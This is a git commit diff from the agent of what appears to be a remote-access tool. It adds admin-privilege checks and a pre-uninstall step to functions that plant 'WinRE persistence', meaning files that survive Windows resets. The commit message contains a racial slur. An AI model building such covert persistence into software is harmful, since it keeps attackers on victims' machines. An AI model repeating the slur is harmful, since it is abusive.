throw back error to server if niggas not admin
This commit is contained in:
@@ -15,6 +15,8 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"overlord-client/cmd/agent/runtime"
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -217,6 +219,8 @@ func addNewPhase(cfg *resetConfig, phaseName, fileName string, duration int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func installWinREPersistence(fileBytes []byte, ext string) error {
|
func installWinREPersistence(fileBytes []byte, ext string) error {
|
||||||
|
_ = uninstallWinREPersistence()
|
||||||
|
|
||||||
if err := createOEMEnvironment(); err != nil {
|
if err := createOEMEnvironment(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -258,6 +262,10 @@ func uninstallWinREPersistence() error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
|
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
|
||||||
|
if !windows.GetCurrentProcessToken().IsElevated() {
|
||||||
|
return fmt.Errorf("WinRE persistence requires admin privileges")
|
||||||
|
}
|
||||||
|
|
||||||
var fileBytes []byte
|
var fileBytes []byte
|
||||||
var ext string
|
var ext string
|
||||||
|
|
||||||
@@ -299,5 +307,8 @@ func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, fil
|
|||||||
}
|
}
|
||||||
|
|
||||||
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
|
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
if !windows.GetCurrentProcessToken().IsElevated() {
|
||||||
|
return fmt.Errorf("WinRE uninstall requires admin privileges")
|
||||||
|
}
|
||||||
return uninstallWinREPersistence()
|
return uninstallWinREPersistence()
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user